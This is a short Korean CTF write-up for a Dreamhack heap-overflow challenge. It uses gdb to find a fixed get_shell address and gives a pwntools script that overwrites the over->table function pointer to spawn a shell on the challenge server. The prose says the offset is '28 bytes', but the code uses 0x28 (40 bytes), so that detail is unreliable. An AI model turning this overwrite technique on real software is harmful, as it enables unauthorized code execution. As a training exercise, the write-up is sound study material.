basic_heap_overflow
No PIE fixes the address of get_shell, so a 28-byte heap overflow is enough to redirect execution.
heap overflow 문제인 듯 하다. 먼저 get_shell 주소를 얻겠다. checksec 을 보면 no PIE 여서 get_shell 함수의 주소는 고정이다.
$ gdb ./basic_heap_overflow
(gdb) p get_shell
를 하면, get_shell 의 주소는 0x804867b 인 것을 알 수 있다.
그다음엔 오버플로우를 할 오프셋을 구해야 하는데, 힙 할당 사이즈가 0x20 인 것을 감안하면 28 바이트가 오프셋이다. 왜냐하면 glibc malloc 의 청크는 prev_size(4B) + size(4B) = 8바이트 헤더를 갖기 때문이다. 그러니까 필요한 총 청크 크기는:
0x20(요청) + 0x8(헤더) = 0x28
그러면 왜 다른 청크, 즉 over chunk 를 get_shell 의 주소로 덮는 게 get_shell 을 호출시키는 결과가 되느냐? over->table() 이 아무 검증 없이 호출되므로, 그 자리에 get_shell 의 주소를 써넣으면 main() 이 그 함수를 그대로 실행하는 것이다.
0x0804870f <+98>: mov -0xc(%ebp),%eax ; eax = over
0x08048712 <+101>: mov (%eax),%eax ; eax = over->table (다시 한번 읽음)
0x08048714 <+103>: call *%eax ; ★ eax에 들어있는 "값"으로 그냥 점프한다
gdb 로 이 코드의 어셈블리어를 보면 더 정확히 어떻게 실행되는지 알 수 있다. 그래서 익스플로잇 코드는,
from pwn import *
context.arch = 'i386'
GET_SHELL = 0x0804867b
OFFSET = 0x28 # gdb로 실측 재확인 권장
payload = b'A' * OFFSET # ptr 버퍼(0x20) + 다음 청크 헤더(0x8) 채우기
payload += p32(GET_SHELL) # over->table 자리에 get_shell 주소 덮어쓰기
io = remote('host3.dreamhack.games', 21120)
io.sendline(payload)
io.interactive()
이걸 돌리면 플래그를 얻는다!

